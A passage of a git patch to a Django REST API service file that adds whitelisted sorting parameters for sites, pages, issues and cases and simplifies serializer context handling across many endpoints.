         return f'{self.id}_test'
 
@@ -685,7 +683,7 @@ def __str__(self):
 
 
 
-class Chat(models.Model): ### NEW !!!!
+class Chat(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True)

From 8308d267fb1269ad2e12cfef759753c470ae55c8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 12 Mar 2026 12:02:10 -0500
Subject: [PATCH 1088/1099] feat: adding new sorting for `Sites`, `Pages`,
 `Issues`, & `Cases`

---
 app/api/v1/ops/services.py | 413 +++++++++++++++++++------------------
 1 file changed, 217 insertions(+), 196 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9c153914..db37a3b5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -539,11 +539,9 @@ def create_site(request: object=None) -> object:
             )
             
     # serialize response and return
-    serializer_context = {'request': request}
-    serialized = SiteSerializer(site, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
+    serialized = SiteSerializer(site, context={'request': request})
+    record_api_call(request, serialized.data, '201')
+    response = Response(serialized.data, status=status.HTTP_201_CREATED)
     return response
 
 
@@ -596,7 +594,7 @@ def crawl_site(request: object=None, id: str=None, user: object=None) -> object:
     # serializing and returning
     if request:
         serializer_context = {'request': request}
-        serialized = SiteSerializer(site, context=serializer_context)
+        serialized = SiteSerializer(site, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '201')
         response = Response(data, status=status.HTTP_201_CREATED)
@@ -619,12 +617,39 @@ def get_sites(request: object=None) -> object:
 
     # getting request data
     site_id = request.query_params.get('site_id')
+    sort = request.query_params.getlist('sort')
     user = request.user
 
     # getting account
     member = Member.objects.get(user=user)
     account = member.account
 
+    # site-specific sorting dict
+    sorting_items = {
+        # accend
+        'site': 'site_url',
+        'time_created': 'time_created',
+        'scan': 'info__latest_scan__score',
+        'scan_completed': 'info__latest_scan__time_completed',
+        'test': 'info__latest_test__score',
+        # decend
+        '-site': '-site_url',
+        '-time_created': '-time_created',
+        '-scan': '-info__latest_scan__score',
+        '-scan_completed': '-info__latest_scan__time_completed',
+        '-test': '-info__latest_test__score',
+    }
+
+    # transform sort param
+    _sort = []
+    for s in sort:
+        _sort.extend(s.split(','))
+
+    # build order_by list (ignore invalid sort tokens)
+    ordering = [sorting_items[s] for s in _sort if s in sorting_items]
+    if not ordering:
+        ordering = ['-time_created']
+
     # check if site_id was passed
     if site_id:
 
@@ -641,25 +666,22 @@ def get_sites(request: object=None) -> object:
         site = Site.objects.get(id=site_id)
 
         # serialize single site response and return
-        serializer_context = {'request': request}
-        serialized = SiteSerializer(site, context=serializer_context)
-        data = serialized.data
-        record_api_call(request, data, '200')
-        return Response(data, status=status.HTTP_200_OK)
+        serialized = SiteSerializer(site, context={'request': request})
+        record_api_call(request, serialized.data, '200')
+        return Response(serialized.data, status=status.HTTP_200_OK)
     
     # getting all account assoicated sites
-    sites = Site.objects.filter(account=account).order_by('-time_created')
+    sites = Site.objects.filter(account=account).order_by(*ordering)
 
     # filter out all non permissioned sites
     if len(member.permissions.get('sites', [])) != 0:
         id_list = [item['id'] for item in member.permissions.get('sites')]
-        sites = sites.filter(id__in=id_list).order_by('-time_created')
+        sites = sites.filter(id__in=id_list).order_by(*ordering)
 
     # serialize response and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(sites, request)
-    serializer_context = {'request': request}
-    serialized = SiteSerializer(result_page, many=True, context=serializer_context)
+    serialized = SiteSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -698,11 +720,9 @@ def get_site(request: object=None, id: str=None) -> object:
     site = Site.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = SiteSerializer(site, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK) 
+    serialized = SiteSerializer(site, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK) 
 
 
 
@@ -1004,11 +1024,10 @@ def create_page(request: object=None) -> object:
         scan_page_bg.apply_async(kwargs={'scan_id': str(scan.id), '_queue': ON_DEMAND_QUEUE}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
       
     # serialize response and return
-    serializer_context = {'request': request}
-    serialized = PageSerializer(page, context=serializer_context)
+    serialized = PageSerializer(page, context={'request': request})
     data = serialized.data
-    record_api_call(request, data, '201')
-    response = Response(data, status=status.HTTP_201_CREATED)
+    record_api_call(request, serialized.data, '201')
+    response = Response(serialized.data, status=status.HTTP_201_CREATED)
     return response
 
 
@@ -1166,6 +1185,7 @@ def get_pages(request: object=None) -> object:
     # get request data
     site_id = request.query_params.get('site_id')
     page_id = request.query_params.get('page_id')
+    sort = request.query_params.getlist('sort')
 
     # get user and account
     user = request.user
@@ -1188,6 +1208,32 @@ def get_pages(request: object=None) -> object:
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
     
+    # page-specific sorting dict
+    sorting_items = {
+        # accend
+        'page': 'page_url',
+        'time_created': 'time_created',
+        'scan': 'info__latest_scan__score',
+        'scan_completed': 'info__latest_scan__time_completed',
+        'test': 'info__latest_test__score',
+        # decend
+        '-page': '-page_url',
+        '-time_created': '-time_created',
+        '-scan': '-info__latest_scan__score',
+        '-scan_completed': '-info__latest_scan__time_completed',
+        '-test': '-info__latest_test__score',
+    }
+
+    # transform sort param
+    _sort = []
+    for s in sort:
+        _sort.extend(s.split(','))
+
+    # build order_by list
+    ordering = [sorting_items[s] for s in _sort if s in sorting_items]
+    if not ordering:
+        ordering = ['-time_created']
+    
     # getting single page
     if page_id != None:
         
@@ -1195,21 +1241,19 @@ def get_pages(request: object=None) -> object:
         page = Page.objects.get(id=page_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = PageSerializer(page, context=serializer_context)
+        serialized = PageSerializer(page, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
     # get site and assocaited pages
     site = Site.objects.get(id=site_id)
-    pages = Page.objects.filter(site=site).order_by('-time_created')
+    pages = Page.objects.filter(site=site).order_by(*ordering)
 
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(pages, request)
-    serializer_context = {'request': request}
-    serialized = PageSerializer(result_page, many=True, context=serializer_context)
+    serialized = PageSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -1232,7 +1276,6 @@ def get_page(request: object=None, id: str=None) -> object:
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
 
     # check account and resource
     check_data = check_permissions_and_usage(
@@ -1248,11 +1291,9 @@ def get_page(request: object=None, id: str=None) -> object:
     page = Page.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = PageSerializer(page, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK) 
+    serialized = PageSerializer(page, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK) 
 
 
 
@@ -1794,8 +1835,7 @@ def get_scans(request: object=None) -> object:
         scan = Scan.objects.get(id=scan_id)
         
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = ScanSerializer(scan, context=serializer_context)
+        serialized = ScanSerializer(scan, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -1807,10 +1847,9 @@ def get_scans(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(scans, request)
-    serializer_context = {'request': request}
-    serialized = ScanSerializer(result_page, many=True, context=serializer_context)
+    serialized = ScanSerializer(result_page, many=True, context={'request': request})
     if str(lean).lower() == 'true':
-        serialized = SmallScanSerializer(result_page, many=True, context=serializer_context)
+        serialized = SmallScanSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -1833,7 +1872,6 @@ def get_scan(request: object=None, id: str=None) -> object:
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
 
     # check account and resource
     check_data = check_permissions_and_usage(
@@ -1849,11 +1887,9 @@ def get_scan(request: object=None, id: str=None) -> object:
     scan = Scan.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = ScanSerializer(scan, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = ScanSerializer(scan, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -1873,7 +1909,6 @@ def get_scan_lean(request: object=None, id: str=None) -> object:
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
 
     # check account and resource 
     check_data = check_permissions_and_usage(
@@ -1992,7 +2027,6 @@ def delete_many_scans(request: object=None) -> object:
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
 
     # check for ids
     if ids is not None:
@@ -2559,8 +2593,7 @@ def get_tests(request: object=None) -> object:
         test = Test.objects.get(id=test_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = TestSerializer(test, context=serializer_context)
+        serialized = TestSerializer(test, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -2572,10 +2605,9 @@ def get_tests(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(tests, request)
-    serializer_context = {'request': request}
-    serialized = TestSerializer(result_page, many=True, context=serializer_context)
+    serialized = TestSerializer(result_page, many=True, context={'request': request})
     if str(lean).lower() == 'true':
-        serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
+        serialized = SmallTestSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -2614,11 +2646,9 @@ def get_test(request: object=None, id: str=None) -> object:
     test = Test.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = TestSerializer(test, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = TestSerializer(test, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -3021,8 +3051,7 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
     # decide on response type
     if request is not None:
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = IssueSerializer(issue, context=serializer_context)
+        serialized = IssueSerializer(issue, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -3144,8 +3173,7 @@ def generate_issue(request: object=None, **kwargs) -> object:
     # decide on response type
     if request is not None:
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = IssueSerializer(issue, context=serializer_context)
+        serialized = IssueSerializer(issue, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -3240,6 +3268,7 @@ def get_issues(request: object=None) -> object:
     issue_id = request.query_params.get('issue_id')
     site_id = request.query_params.get('site_id')
     page_id = request.query_params.get('page_id')
+    sort = request.query_params.getlist('sort')
     
     user = request.user
     member = Member.objects.get(user=user)
@@ -3261,6 +3290,30 @@ def get_issues(request: object=None) -> object:
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
+    # issue-specific sorting dict
+    sorting_items = {
+        # accend
+        'time_created': 'time_created',
+        'status': 'status',
+        'title': 'title',
+        'affected': 'affected__str',
+        # decend
+        '-time_created': '-time_created',
+        '-status': '-status',
+        '-title': '-title',
+        '-affected': '-affected__str',
+    }
+
+    # transform sort param
+    _sort = []
+    for s in sort:
+        _sort.extend(s.split(','))
+
+    # build order_by list
+    ordering = [sorting_items[s] for s in _sort if s in sorting_items]
+    if not ordering:
+        ordering = ['-time_created']
+
     # get single issue
     if issue_id != None:
         
@@ -3268,8 +3321,7 @@ def get_issues(request: object=None) -> object:
         issue = Issue.objects.get(id=issue_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = IssueSerializer(issue, context=serializer_context)
+        serialized = IssueSerializer(issue, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -3285,13 +3337,13 @@ def get_issues(request: object=None) -> object:
         issues = Issue.objects.filter(
             affected__icontains={'id': site_id}, 
             account=account
-        ).order_by('-status', '-time_created')
+        ).order_by(*ordering)
     
     # get all account assocoiated issues
     if issues is None:
         issues = Issue.objects.filter(
             account=account
-        ).order_by('-status', '-time_created')
+        ).order_by(*ordering)
 
     # filter out all non permissioned sites
     if len(member.permissions.get('sites',[])) != 0:
@@ -3300,13 +3352,12 @@ def get_issues(request: object=None) -> object:
         for id in id_list:
             for page in Page.objects.filter(site__id=id):
                 new_ids.append(str(page.id))
-        issues = issues.filter(affected__id__in=new_ids).order_by('-time_created')
+        issues = issues.filter(affected__id__in=new_ids).order_by(*ordering)
 
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(issues, request)
-    serializer_context = {'request': request}
-    serialized = IssueSerializer(result_page, many=True, context=serializer_context)
+    serialized = IssueSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -3345,11 +3396,9 @@ def get_issue(request: object=None, id: str=None) -> object:
     issue = Issue.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = IssueSerializer(issue, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = IssueSerializer(issue, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -3401,8 +3450,7 @@ def search_issues(request: object=None) -> object:
     # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(issues, request)
-    serializer_context = {'request': request}
-    serialized = IssueSerializer(result_page, many=True, context=serializer_context)
+    serialized = IssueSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response 
@@ -3887,8 +3935,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
     # deciding on response type
     if request:
         # serialize and return
-        serializer_context = {'request': request}
-        data = ScheduleSerializer(schedule, context=serializer_context).data
+        data = ScheduleSerializer(schedule, context={'request': request}).data
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
@@ -4027,8 +4074,7 @@ def run_schedule(request: object=None) -> object:
         create_report_bg.apply_async(kwargs=task_kwargs, queue=queue, routing_key=queue)
 
     # serialize and return
-    serializer_context = {'request': request}
-    data = ScheduleSerializer(schedule, context=serializer_context).data
+    data = ScheduleSerializer(schedule, context={'request': request}).data
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -4075,8 +4121,7 @@ def get_schedules(request: object=None) -> object:
         schedule = Schedule.objects.get(id=schedule_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = ScheduleSerializer(schedule, context=serializer_context)
+        serialized = ScheduleSerializer(schedule, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -4106,8 +4151,7 @@ def get_schedules(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
-    serializer_context = {'request': request}
-    serialized = ScheduleSerializer(result_page, many=True, context=serializer_context)
+    serialized = ScheduleSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -4146,11 +4190,9 @@ def get_schedule(request: object=None, id: str=None) -> object:
     schedule = Schedule.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = ScheduleSerializer(schedule, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = ScheduleSerializer(schedule, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -4414,8 +4456,7 @@ def create_or_update_alert(request: object=None) -> object:
         task.save()
 
     # serialize and return
-    serializer_context = {'request': request}
-    data = AlertSerializer(alert, context=serializer_context).data
+    data = AlertSerializer(alert, context={'request': request}).data
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -4459,8 +4500,7 @@ def get_alerts(request: object=None) -> object:
         alert = Alert.objects.get(id=alert_id)
         
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = AlertSerializer(alert, context=serializer_context)
+        serialized = AlertSerializer(alert, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -4471,8 +4511,7 @@ def get_alerts(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(alerts, request)
-    serializer_context = {'request': request}
-    serialized = AlertSerializer(result_page, many=True, context=serializer_context)
+    serialized = AlertSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -4511,11 +4550,9 @@ def get_alert(request: object=None, id: str=None) -> object:
     alert = Alert.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = AlertSerializer(alert, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = AlertSerializer(alert, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -4650,10 +4687,9 @@ def create_or_update_report(request: object=None) -> object:
     report_data = R(report=un_cached_report).generate_report()
 
     # serialize report
-    serializer_context = {'request': request}
     new_report = ReportSerializer(
         report_data['report'], 
-        context=serializer_context
+        context={'request': request}
     ).data
 
     # format return data
@@ -4711,8 +4747,7 @@ def get_reports(request: object=None) -> object:
         report = Report.objects.get(id=report_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = ReportSerializer(report, context=serializer_context)
+        serialized = ReportSerializer(report, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -4734,8 +4769,7 @@ def get_reports(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(reports, request)
-    serializer_context = {'request': request}
-    serialized = ReportSerializer(result_page, many=True, context=serializer_context)
+    serialized = ReportSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -4774,11 +4808,9 @@ def get_report(request: object=None, id: str=None) -> object:
     report = Report.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = ReportSerializer(report, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = ReportSerializer(report, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -4973,8 +5005,7 @@ def create_or_update_case(request: object=None) -> object:
         # and run Caser().pre_run() in background
         
     # serialize and return
-    serializer_context = {'request': request}
-    data = CaseSerializer(case, context=serializer_context).data
+    data = CaseSerializer(case, context={'request': request}).data
     data['client'] = settings.CLIENT_URL_ROOT
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
@@ -5094,7 +5125,7 @@ def case_pre_run(request: object=None, **kwargs) -> object:
     # return dynamic
     if request:
         serializer_context = {'request': request}
-        data = CaseSerializer(case, context=serializer_context).data
+        data = CaseSerializer(case, context={'request': request}).data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
     return case
@@ -5116,6 +5147,7 @@ def get_cases(request: object=None) -> object:
     # get request data
     case_id = request.query_params.get('case_id')
     site_id = request.query_params.get('site_id')
+    sort = request.query_params.getlist('sort')
     user = request.user
     member = Member.objects.get(user=user)
     account = member.account
@@ -5136,6 +5168,30 @@ def get_cases(request: object=None) -> object:
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
+    # issue-specific sorting dict
+    sorting_items = {
+        # accend
+        'time_created': 'time_created',
+        'type': 'type',
+        'title': 'title',
+        'site': 'site_url',
+        # decend
+        '-time_created': '-time_created',
+        '-type': '-type',
+        '-title': '-title',
+        '-site': '-site_url',
+    }
+
+    # transform sort param
+    _sort = []
+    for s in sort:
+        _sort.extend(s.split(','))
+
+    # build order_by list
+    ordering = [sorting_items[s] for s in _sort if s in sorting_items]
+    if not ordering:
+        ordering = ['-time_created']
+
     # get single case
     if case_id:        
 
@@ -5143,8 +5199,7 @@ def get_cases(request: object=None) -> object:
         case = Case.objects.get(id=case_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = CaseSerializer(case, context=serializer_context)
+        serialized = CaseSerializer(case, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -5155,11 +5210,11 @@ def get_cases(request: object=None) -> object:
 
     # get cases scoped by site
     if site:
-        cases = Case.objects.filter(account=account, site=site).order_by('-time_created')
+        cases = Case.objects.filter(account=account, site=site).order_by(*ordering)
     
     # get cases scoped by account
     if not site:
-        cases = Case.objects.filter(account=account).order_by('-time_created')
+        cases = Case.objects.filter(account=account).order_by(*ordering)
 
     # filter out all non permissioned sites
     if len(member.permissions.get('sites',[])) != 0:
@@ -5169,8 +5224,7 @@ def get_cases(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
-    serializer_context = {'request': request}
-    serialized = CaseSerializer(result_page, many=True, context=serializer_context)
+    serialized = CaseSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -5209,11 +5263,9 @@ def get_case(request: object=None, id: str=None) -> object:
     case = Case.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = CaseSerializer(case, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = CaseSerializer(case, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -5407,8 +5459,7 @@ def copy_case(request: object=None) -> object:
     )
 
     # return response
-    serializer_context = {'request': request}
-    data = CaseSerializer(new_case, context=serializer_context).data
+    data = CaseSerializer(new_case, context={'request': request}).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -5755,8 +5806,7 @@ def get_caseruns(request: object=None) -> object:
         caserun = CaseRun.objects.get(id=caserun_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = CaseRunSerializer(caserun, context=serializer_context)
+        serialized = CaseRunSerializer(caserun, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -5773,10 +5823,9 @@ def get_caseruns(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(caseruns, request)
-    serializer_context = {'request': request}
-    serialized = CaseRunSerializer(result_page, many=True, context=serializer_context)
+    serialized = CaseRunSerializer(result_page, many=True, context={'request': request})
     if str(lean).lower() == 'true':
-        serialized = SmallCaseRunSerializer(result_page, many=True, context=serializer_context)
+        serialized = SmallCaseRunSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -5815,11 +5864,9 @@ def get_caserun(request: object=None, id: str=None) -> object:
     caserun = CaseRun.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = CaseRunSerializer(caserun, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = CaseRunSerializer(caserun, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -6011,8 +6058,7 @@ def create_or_update_flow(request: object=None) -> object:
         )
 
     # serialize and return
-    serializer_context = {'request': request}
-    data = FlowSerializer(flow, context=serializer_context).data
+    data = FlowSerializer(flow, context={'request': request}).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -6057,8 +6103,7 @@ def get_flows(request: object=None) -> object:
         flow = Flow.objects.get(id=flow_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = FlowSerializer(flow, context=serializer_context)
+        serialized = FlowSerializer(flow, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -6069,8 +6114,7 @@ def get_flows(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(flows, request)
-    serializer_context = {'request': request}
-    serialized = FlowSerializer(result_page, many=True, context=serializer_context)
+    serialized = FlowSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -6109,11 +6153,9 @@ def get_flow(request: object=None, id: str=None) -> object:
     flow = Flow.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = FlowSerializer(flow, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = FlowSerializer(flow, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -6154,8 +6196,7 @@ def search_flows(request: object=None) -> object:
     # serialize and rerturn
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(flows, request)
-    serializer_context = {'request': request}
-    serialized = FlowSerializer(result_page, many=True, context=serializer_context)
+    serialized = FlowSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response 
@@ -6205,8 +6246,7 @@ def copy_flow(request: object=None) -> object:
     )
 
     # return response
-    serializer_context = {'request': request}
-    data = FlowSerializer(new_flow, context=serializer_context).data
+    data = FlowSerializer(new_flow, context={'request': request}).data
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
@@ -6530,8 +6570,7 @@ def get_flowruns(request: object=None) -> object:
         flowrun = FlowRun.objects.get(id=flowrun_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = FlowRunSerializer(flowrun, context=serializer_context)
+        serialized = FlowRunSerializer(flowrun, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -6552,10 +6591,9 @@ def get_flowruns(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(flowruns, request)
-    serializer_context = {'request': request}
-    serialized = FlowRunSerializer(result_page, many=True, context=serializer_context)
+    serialized = FlowRunSerializer(result_page, many=True, context={'request': request})
     if str(lean).lower() == 'true':
-        serialized = SmallFlowRunSerializer(result_page, many=True, context=serializer_context)
+        serialized = SmallFlowRunSerializer(result_page, many=True, context={'request': request})
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -6594,11 +6632,9 @@ def get_flowrun(request: object=None, id: str=None) -> object:
     flowruns = FlowRun.objects.get(id=id)
         
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = FlowRunSerializer(flowruns, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = FlowRunSerializer(flowruns, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -6780,11 +6816,9 @@ def create_or_update_secret(request: object=None) -> object:
         )
 
     # serialize and return
-    serializer_context = {'request': request}
-    serialized = SecretSerializer(secret, context=serializer_context)
-    data = serialized.data
-    record_api_call(request, data, '200')
-    return Response(data, status=status.HTTP_200_OK)
+    serialized = SecretSerializer(secret, context={'request': request})
+    record_api_call(request, serialized.data, '200')
+    return Response(serialized.data, status=status.HTTP_200_OK)
 
 
 
@@ -6826,8 +6860,7 @@ def get_secrets(request: object=None) -> object:
         secret = Secret.objects.get(id=secret_id)
 
         # serialize and return
-        serializer_context = {'request': request}
-        serialized = SecretSerializer(secret, context=serializer_context)
+        serialized = SecretSerializer(secret, context={'request': request})
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
@@ -6838,8 +6871,7 @@ def get_secrets(request: object=None) -> object:
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(secrets, request)
-    serializer_context = {'request': request}
-    serialized = SecretSerializer(result_page, many=True, context=serializer_context)
+    serialized = SecretSerializer(result_page, many=True, context={'request': request})
